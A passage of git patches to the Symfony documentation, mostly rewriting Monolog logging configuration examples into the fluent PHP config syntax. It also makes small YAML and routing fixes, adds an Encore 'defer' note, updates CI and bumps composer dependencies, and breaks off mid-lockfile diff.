+                // log *all* messages (debug is lowest level)
+                ->level('debug');
+
+            $monolog->handler('syslog_handler')
+                ->type('syslog')
+                // log error-level messages and higher
+                ->level('error');
+        };
 
 This defines a *stack* of handlers and each handler is called in the order that it's
 defined.
@@ -236,29 +235,29 @@ one of the messages reaches an ``action_level``. Take this example:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'filter_for_errors' => [
-                    'type'         => 'fingers_crossed',
-                    // if *one* log is error or higher, pass *all* to file_log
-                    'action_level' => 'error',
-                    'handler'      => 'file_log',
-                ],
-
-                // now passed *all* logs, but only if one log is error or higher
-                'file_log' => [
-                    'type'  => 'stream',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                ],
-
-                // still passed *all* logs, and still only logs error or higher
-                'syslog_handler' => [
-                    'type'  => 'syslog',
-                    'level' => 'error',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('filter_for_errors')
+                ->type('fingers_crossed')
+                // if *one* log is error or higher, pass *all* to file_log
+                ->actionLevel('error')
+                ->handler('file_log')
+            ;
+
+            // now passed *all* logs, but only if one log is error or higher
+            $monolog->handler('file_log')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+            ;
+
+            // still passed *all* logs, and still only logs error or higher
+            $monolog->handler('syslog_handler')
+                ->type('syslog')
+                ->level('error')
+            ;
+        };
 
 Now, if even one log entry has an ``error`` level or higher, then *all* log entries
 for that request are saved to a file via the ``file_log`` handler. That means that
@@ -331,18 +330,17 @@ option of your handler to ``rotating_file``:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'  => 'rotating_file',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                    // max number of log files to keep
-                    // defaults to zero, which means infinite files
-                    'max_files' => 10,
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('rotating_file')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+                // max number of log files to keep
+                // defaults to zero, which means infinite files
+                ->maxFiles(10);
+        };
 
 Using a Logger inside a Service
 -------------------------------
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 8f6e9aed98a..5c06b13d794 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -78,23 +78,19 @@ can do it in any (or all) environments:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'security' => [
-                    'type'     => 'stream',
-                    'path'     => '%kernel.logs_dir%/security.log',
-                    'channels' => [
-                        'security',
-                    ],
-                ],
-                'main'     => [
-                    // ...
-                    'channels' => [
-                        '!security',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('security')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/security.log')
+                ->channels()->elements(['security']);
+
+            $monolog->handler('main')
+                 // ...
+
+                ->channels()->elements(['!security']);
+        };
 
 .. caution::
 
@@ -163,12 +159,11 @@ You can also configure additional channels without the need to tag your services
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'channels' => [
-                'foo',
-                'bar',
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->channels(['foo', 'bar']);
+        };
 
 Symfony automatically registers one service per channel (in this example, the
 channel ``foo`` creates a service called ``monolog.logger.foo``). In order to
diff --git a/logging/formatter.rst b/logging/formatter.rst
index b41cd7ad06e..737b0b86a5f 100644
--- a/logging/formatter.rst
+++ b/logging/formatter.rst
@@ -23,7 +23,7 @@ configure your handler to use it:
 
     .. code-block:: xml
 
-        <!-- config/services.xml -->
+        <!-- config/packages/prod/monolog.xml (and/or config/packages/dev/monolog.xml) -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -33,7 +33,6 @@ configure your handler to use it:
                 http://symfony.com/schema/dic/monolog
                 https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
 
-            <!-- config/packages/prod/monolog.xml (and/or config/packages/dev/monolog.xml) -->
             <monolog:config>
                 <monolog:handler
                     name="file"
@@ -46,16 +45,13 @@ configure your handler to use it:
 
     .. code-block:: php
 
-        // config/services.php
-        use Monolog\Formatter\JsonFormatter;
-
         // config/packages/prod/monolog.php (and/or config/packages/dev/monolog.php)
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'file' => [
-                    'type'      => 'stream',
-                    'level'     => 'debug',
-                    'formatter' => 'monolog.formatter.json',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('file')
+                ->type('stream')
+                ->level('debug')
+                ->formatter('monolog.formatter.json')
+            ;
+        };
diff --git a/logging/handlers.rst b/logging/handlers.rst
index 9f5b903cfa9..4e37e01f622 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -88,14 +88,13 @@ Then reference it in the Monolog configuration:
 
         // config/packages/prod/monolog.php
         use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
-
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'es' => [
-                    'type' => 'service',
-                    'id' => ElasticsearchLogstashHandler::class,
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('es')
+                ->type('service')
+                ->id(ElasticsearchLogstashHandler::class)
+            ;
+        };
 
 .. _`ELK stack`: https://www.elastic.co/what-is/elk-stack
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 21c67d705d8..13789a35b25 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -122,15 +122,15 @@ The Monolog console handler is enabled by default:
     .. code-block:: php
 
         // config/packages/dev/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'console' => [
-                   'type' => 'console',
-                   'process_psr_3_messages' => false,
-                   'channels' => ['!event', '!doctrine', '!console'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('console')
+                ->type('console')
+                ->processPsr3Messages(false)
+                ->channels()->elements(['!event', '!doctrine', '!console'])
+            ;
+        };
 
 Now, log messages will be shown on the console based on the log levels and verbosity.
 By default (normal verbosity level), warnings and higher will be shown. But in
diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 22ed4d08928..77a27cea9cd 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -99,36 +99,36 @@ it is broken down.
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'         => 'fingers_crossed',
-                    // 500 errors are logged at the critical level
-                    'action_level' => 'critical',
-                    // to also log 400 level errors (but not 404's):
-                    // 'action_level' => 'error',
-                    // 'excluded_404s' => [
-                    //     '^/',
-                    // ],
-                    'handler'      => 'deduplicated',
-                ],
-                'deduplicated' => [
-                    'type'    => 'deduplication',
-                    'handler' => 'symfony_mailer',
-                ],
-                'symfony_mailer' => [
-                    'type'         => 'symfony_mailer',
-                    'from_email'   => 'error@example.com',
-                    'to_email'     => 'error@example.com',
-                    // or a list of recipients
-                    // 'to_email'   => ['dev1@example.com', 'dev2@example.com', ...],
-                    'subject'      => 'An Error Occurred! %%message%%',
-                    'level'        => 'debug',
-                    'formatter'    => 'monolog.formatter.html',
-                    'content_type' => 'text/html',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('fingers_crossed')
+                // 500 errors are logged at the critical level
+                ->actionLevel('critical')
+                // to also log 400 level errors (but not 404's):
+                // ->actionLevel('error')
+                // ->excluded404s(['^/'])
+
+                ->handler('deduplicated')
+            ;
+
+            $monolog->handler('deduplicated')
+                ->type('deduplicated')
+                ->handler('symfony_mailer');
+
+            $monolog->handler('symfony_mailer')
+                ->type('symfony_mailer')
+                ->fromEmail('error@example.com')
+                ->toEmail(['error@example.com'])
+                // or a list of recipients
+                // ->toEmail(['dev1@example.com', 'dev2@example.com', ...])
+                ->subject('An Error Occurred! %%message%%')
+                ->level('debug')
+                ->formatter('monolog.formatter.html')
+                ->contentType('text/html')
+            ;
+        };
 
 The ``main`` handler is a ``fingers_crossed`` handler which means that
 it is only triggered when the action level, in this case ``critical`` is reached.
@@ -177,17 +177,18 @@ You can adjust the time period using the ``time`` option:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                // ...
-                'deduplicated' => [
-                    'type'    => 'deduplication',
-                    // the time in seconds during which duplicate entries are discarded (default: 60)
-                    'time' => 10,
-                    'handler' => 'symfony_mailer',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            // ...
+
+            $monolog->handler('deduplicated')
+                ->type('deduplicated')
+                // the time in seconds during which duplicate entries are discarded (default: 60)
+                ->time(10)
+                ->handler('symfony_mailer')
+            ;
+        };
 
 The messages are then passed to the ``symfony_mailer`` handler. This is the handler that
 actually deals with emailing you the error. The settings for this are
@@ -285,39 +286,43 @@ get logged on the server as well as the emails being sent:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'         => 'fingers_crossed',
-                    'action_level' => 'critical',
-                    'handler'      => 'grouped',
-                ],
-                'grouped' => [
-                    'type'    => 'group',
-                    'members' => ['streamed', 'deduplicated'],
-                ],
-                'streamed'  => [
-                    'type'  => 'stream',
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level' => 'debug',
-                ],
-                'deduplicated' => [
-                    'type'     => 'deduplication',
-                    'handler'  => 'symfony_mailer',
-                ],
-                'symfony_mailer' => [
-                    'type'         => 'symfony_mailer',
-                    'from_email'   => 'error@example.com',
-                    'to_email'     => 'error@example.com',
-                    // or a list of recipients
-                    // 'to_email'   => ['dev1@example.com', 'dev2@example.com', ...],
-                    'subject'      => 'An Error Occurred! %%message%%',
-                    'level'        => 'debug',
-                    'formatter'    => 'monolog.formatter.html',
-                    'content_type' => 'text/html',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('fingers_crossed')
+                ->actionLevel('critical')
+                ->handler('grouped')
+            ;
+
+            $monolog->handler('group')
+                ->members(['streamed', 'deduplicated'])
+            ;
+
+            $monolog->handler('streamed')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+            ;
+
+            $monolog->handler('deduplicated')
+                ->type('deduplicated')
+                ->handler('symfony_mailer')
+            ;
+
+            // still passed *all* logs, and still only logs error or higher
+            $monolog->handler('symfony_mailer')
+                ->type('symfony_mailer')
+                ->fromEmail('error@example.com')
+                ->toEmail(['error@example.com'])
+                // or a list of recipients
+                // ->toEmail(['dev1@example.com', 'dev2@example.com', ...])
+                ->subject('An Error Occurred! %%message%%')
+                ->level('debug')
+                ->formatter('monolog.formatter.html')
+                ->contentType('text/html')
+            ;
+        };
 
 This uses the ``group`` handler to send the messages to the two
 group members, the ``deduplicated`` and the ``stream`` handlers. The messages will
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index 9c1bd81bdcc..4382b818437 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -49,16 +49,16 @@ logging these HTTP codes based on the MonologBundle configuration:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    // ...
-                    'type'                => 'fingers_crossed',
-                    'handler'             => ...,
-                    'excluded_http_codes' => [403, 404],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                // ...
+                ->type('fingers_crossed')
+                ->handler(...)
+                ->excludedHttpCode([403, 404])
+            ;
+        };
 
 .. caution::
 
diff --git a/logging/monolog_regex_based_excludes.rst b/logging/monolog_regex_based_excludes.rst
index be4a6ee8b7e..b5186e13b60 100644
--- a/logging/monolog_regex_based_excludes.rst
+++ b/logging/monolog_regex_based_excludes.rst
@@ -54,18 +54,16 @@ configuration:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    // ...
-                    'type'          => 'fingers_crossed',
-                    'handler'       => ...,
-                    'excluded_404s' => [
-                        '^/phpmyadmin',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                // ...
+                ->type('fingers_crossed')
+                ->handler(...)
+                ->excluded404s(['^/phpmyadmin'])
+            ;
+        };
 
 
 .. caution::
diff --git a/logging/processors.rst b/logging/processors.rst
index c0a3eb33bbf..3c4faacda5f 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -149,16 +149,16 @@ Finally, set the formatter to be used on whatever handler you want:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    'type'      => 'stream',
-                    'path'      => '%kernel.logs_dir%/%kernel.environment%.log',
-                    'level'     => 'debug',
-                    'formatter' => 'monolog.formatter.session_request',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            $monolog->handler('main')
+                ->type('stream')
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
+                ->level('debug')
+                ->formatter('monolog.formatter.session_request')
+            ;
+        };
 
 If you use several handlers, you can also register a processor at the
 handler level or at the channel level instead of registering it globally

From 9299acbe183c6ca6a1ffbb1e3ab8dfee712b508b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 23 Apr 2021 09:11:22 +0200
Subject: [PATCH 0781/5766] fix tagged mapping value YAML syntax

---
 service_container/service_subscribers_locators.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index fc702a52f27..89d47104900 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -256,10 +256,9 @@ argument of type ``service_locator``:
         # config/services.yaml
         services:
             App\CommandBus:
-                arguments:
-                    !service_locator
-                        App\FooCommand: '@app.command_handler.foo'
-                        App\BarCommand: '@app.command_handler.bar'
+                arguments: !service_locator
+                    App\FooCommand: '@app.command_handler.foo'
+                    App\BarCommand: '@app.command_handler.bar'
 
     .. code-block:: xml
 

From 1a7717adafbf95715aa294c1f3e6b28a6a62af5f Mon Sep 17 00:00:00 2001
From: Andrii Dembitskyi <andrew.dembitskiy@gmail.com>
Date: Fri, 23 Apr 2021 11:27:46 +0300
Subject: [PATCH 0782/5766] Recommend using root `controller` attribute in
 route definition

Instead of `defaults._controller`
---
 controller/service.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/service.rst b/controller/service.rst
index ca2f09b5d70..5d9fe9ade26 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -110,7 +110,7 @@ which is a common practice when following the `ADR pattern`_
         # config/routes.yaml
         hello:
             path:     /hello/{name}
-            defaults: { _controller: app.hello_controller }
+            controller: app.hello_controller
 
     .. code-block:: xml
 

From 521ae7a0acd5edbe2ecd325d4899d9952be8b9f6 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 23 Apr 2021 17:01:02 +0200
Subject: [PATCH 0783/5766] [CI][CodeBlockChecker] Installed tagged version
 instead of dev-main

---
 .github/workflows/ci.yaml | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index ace788a628d..7e9a12dd5ef 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -138,10 +138,7 @@ jobs:
 
           - name: Install dependencies
             if: ${{ steps.find-files.outputs.files }}
-            run: |
-              git clone --depth 15 https://github.com/symfony-tools/code-block-checker.git ../_checker
-              cd ../_checker
-              composer install
+            run: composer create-project symfony-tools/code-block-checker ../_checker
 
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}

From cb199ef0e947cdc9768d52a613d7c3c4963a2d8c Mon Sep 17 00:00:00 2001
From: Ryan Weaver <weaverryan+github@gmail.com>
Date: Thu, 22 Apr 2021 20:02:27 -0400
Subject: [PATCH 0784/5766] Adding details about "defer" and legacy jquery

---
 frontend/encore/legacy-applications.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index c22812d00b8..f333a70e3df 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -87,3 +87,18 @@ The ``global`` variable is a special way of setting things in the ``window``
 variable. In a web context, using ``global`` and ``window`` are equivalent,
 except that ``window.jQuery`` won't work when using ``autoProvidejQuery()``.
 In other words, use ``global``.
+
+Additionally, be sure to set the ``script_attributes.defer`` option to ``false``
+in your ``webpack_encore.yaml`` file:
+
+.. code-block:: yaml
+
+    # config/packages/webpack_encore.yaml
+    webpack_encore:
+        script_attributes:
+            defer: false
+
+This will make sure there is *not* a ``defer`` attribute on your ``script``
+tags. For more information, see `Moving <script> inside <head> and the "defer" Attribute`_
+
+.. _`Moving <script> inside <head> and the "defer" Attribute`: https://symfony.com/blog/moving-script-inside-head-and-the-defer-attribute

From ff7becc17da95d7334095077c4b31028cffe0448 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 Apr 2021 17:50:09 +0200
Subject: [PATCH 0785/5766] Minor tweak

---
 frontend/encore/legacy-applications.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index f333a70e3df..8bad142104c 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -95,6 +95,7 @@ in your ``webpack_encore.yaml`` file:
 
     # config/packages/webpack_encore.yaml
     webpack_encore:
+        # ...
         script_attributes:
             defer: false
 

From 3837ebabffc87bcbc793c62e6738d34159dddeb9 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 23 Apr 2021 17:42:34 +0200
Subject: [PATCH 0786/5766] Update docs-builder to version 0.15

---
 .github/workflows/ci.yaml |   2 +-
 _build/composer.json      |  10 +-
 _build/composer.lock      | 774 ++++++++++++--------------------------
 3 files changed, 252 insertions(+), 534 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 7e9a12dd5ef..fab47d265ae 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -49,7 +49,7 @@ jobs:
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
                 with:
-                    php-version: 7.2
+                    php-version: 8.0
                     coverage: none
                     tools: "composer:v2"
 
diff --git a/_build/composer.json b/_build/composer.json
index 45f492f2f06..3f1d6049e4b 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -6,7 +6,7 @@
     ],
     "config": {
         "platform": {
-            "php": "7.2.9"
+            "php": "7.4.14"
         },
         "preferred-install": {
             "*": "dist"
@@ -14,9 +14,9 @@
         "sort-packages": true
     },
     "require": {
-        "php": ">=7.2.9",
-        "symfony/console": "^4.4",
-        "symfony/docs-builder": "^0.12.0",
-        "symfony/process": "^4.4"
+        "php": ">=7.4",
+        "symfony/console": "^5.2",
+        "symfony/docs-builder": "^0.15.0",
+        "symfony/process": "^5.2"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index b1815909808..a4662694f27 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "f237cd997543c606037f2517b2ffad9f",
+    "content-hash": "49b2e2e5deccf075db5011162e2dae0a",
     "packages": [
         {
             "name": "doctrine/event-manager",
@@ -102,32 +102,36 @@
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "dev-master",
+            "version": "0.4.x-dev",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef"
+                "reference": "b4db3420f62f44c2c12420b30dcf73f4c4700910"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/68419cbf92d60177b95e44d79a79cae1098a91ef",
-                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/b4db3420f62f44c2c12420b30dcf73f4c4700910",
+                "reference": "b4db3420f62f44c2c12420b30dcf73f4c4700910",
                 "shasum": ""
             },
             "require": {
                 "doctrine/event-manager": "^1.0",
-                "php": "^7.1",
-                "symfony/filesystem": "^4.1|^5.0",
-                "twig/twig": "^2.9.0"
+                "php": "^7.1 || ^8.0",
+                "symfony/filesystem": "^4.1 || ^5.0",
+                "symfony/finder": "^4.1 || ^5.0",
+                "symfony/polyfill-mbstring": "^1.0",
+                "twig/twig": "^2.9 || ^3.3"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^6.0",
+                "doctrine/coding-standard": "^8.0",
                 "gajus/dindent": "^2.0.2",
-                "phpstan/phpstan": "^0.10",
-                "phpstan/phpstan-deprecation-rules": "^0.10",
-                "phpstan/phpstan-phpunit": "^0.10",
-                "phpstan/phpstan-strict-rules": "^0.10",
-                "phpunit/phpunit": "^7.0"
+                "phpstan/phpstan": "^0.12",
+                "phpstan/phpstan-deprecation-rules": "^0.12",
+                "phpstan/phpstan-phpunit": "^0.12",
+                "phpstan/phpstan-strict-rules": "^0.12",
+                "phpunit/phpunit": "^7.5 || ^8.0 || ^9.0",
+                "symfony/css-selector": "4.4 || ^5.2",
+                "symfony/dom-crawler": "4.4 || ^5.2"
             },
             "default-branch": true,
             "type": "library",
@@ -164,234 +168,28 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/master"
-            },
-            "time": "2020-10-26T13:37:24+00:00"
-        },
-        {
-            "name": "guzzlehttp/guzzle",
-            "version": "6.5.5",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/guzzle.git",
-                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
-                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
-                "shasum": ""
-            },
-            "require": {
-                "ext-json": "*",
-                "guzzlehttp/promises": "^1.0",
-                "guzzlehttp/psr7": "^1.6.1",
-                "php": ">=5.5",
-                "symfony/polyfill-intl-idn": "^1.17.0"
-            },
-            "require-dev": {
-                "ext-curl": "*",
-                "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.4 || ^7.0",
-                "psr/log": "^1.1"
-            },
-            "suggest": {
-                "psr/log": "Required for using the Log middleware"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "6.5-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\": "src/"
-                },
-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                }
-            ],
-            "description": "Guzzle is a PHP HTTP client library",
-            "homepage": "http://guzzlephp.org/",
-            "keywords": [
-                "client",
-                "curl",
-                "framework",
-                "http",
-                "http client",
-                "rest",
-                "web service"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/guzzle/issues",
-                "source": "https://github.com/guzzle/guzzle/tree/6.5"
-            },
-            "time": "2020-06-16T21:01:06+00:00"
-        },
-        {
-            "name": "guzzlehttp/promises",
-            "version": "1.4.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/promises.git",
-                "reference": "60d379c243457e073cff02bc323a2a86cb355631"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/promises/zipball/60d379c243457e073cff02bc323a2a86cb355631",
-                "reference": "60d379c243457e073cff02bc323a2a86cb355631",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.5"
-            },
-            "require-dev": {
-                "symfony/phpunit-bridge": "^4.4 || ^5.1"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.4-dev"
-                }
+                "source": "https://github.com/doctrine/rst-parser/tree/0.4.x"
             },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\Promise\\": "src/"
-                },
-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                }
-            ],
-            "description": "Guzzle promises library",
-            "keywords": [
-                "promise"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/promises/issues",
-                "source": "https://github.com/guzzle/promises/tree/1.4.0"
-            },
-            "time": "2020-09-30T07:37:28+00:00"
-        },
-        {
-            "name": "guzzlehttp/psr7",
-            "version": "1.7.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/guzzle/psr7.git",
-                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/psr7/zipball/53330f47520498c0ae1f61f7e2c90f55690c06a3",
-                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.4.0",
-                "psr/http-message": "~1.0",
-                "ralouphie/getallheaders": "^2.0.5 || ^3.0.0"
-            },
-            "provide": {
-                "psr/http-message-implementation": "1.0"
-            },
-            "require-dev": {
-                "ext-zlib": "*",
-                "phpunit/phpunit": "~4.8.36 || ^5.7.27 || ^6.5.14 || ^7.5.20 || ^8.5.8 || ^9.3.10"
-            },
-            "suggest": {
-                "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.7-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "GuzzleHttp\\Psr7\\": "src/"
-                },
-                "files": [
-                    "src/functions_include.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Michael Dowling",
-                    "email": "mtdowling@gmail.com",
-                    "homepage": "https://github.com/mtdowling"
-                },
-                {
-                    "name": "Tobias Schultze",
-                    "homepage": "https://github.com/Tobion"
-                }
-            ],
-            "description": "PSR-7 message implementation that also provides common utility methods",
-            "keywords": [
-                "http",
-                "message",
-                "psr-7",
-                "request",
-                "response",
-                "stream",
-                "uri",
-                "url"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/psr7/issues",
-                "source": "https://github.com/guzzle/psr7/tree/1.7.0"
-            },
-            "time": "2020-09-30T07:37:11+00:00"
+            "time": "2021-04-15T17:43:16+00:00"
         },
         {
             "name": "psr/container",
-            "version": "1.0.0",
+            "version": "1.1.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/container.git",
-                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f"
+                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
-                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/8622567409010282b7aeebe4bb841fe98b58dcaf",
+                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.0"
+                "php": ">=7.2.0"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.0.x-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Psr\\Container\\": "src/"
@@ -404,7 +202,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
+                    "homepage": "https://www.php-fig.org/"
                 }
             ],
             "description": "Common Container Interface (PHP FIG PSR-11)",
@@ -418,62 +216,9 @@
             ],
             "support": {
                 "issues": "https://github.com/php-fig/container/issues",
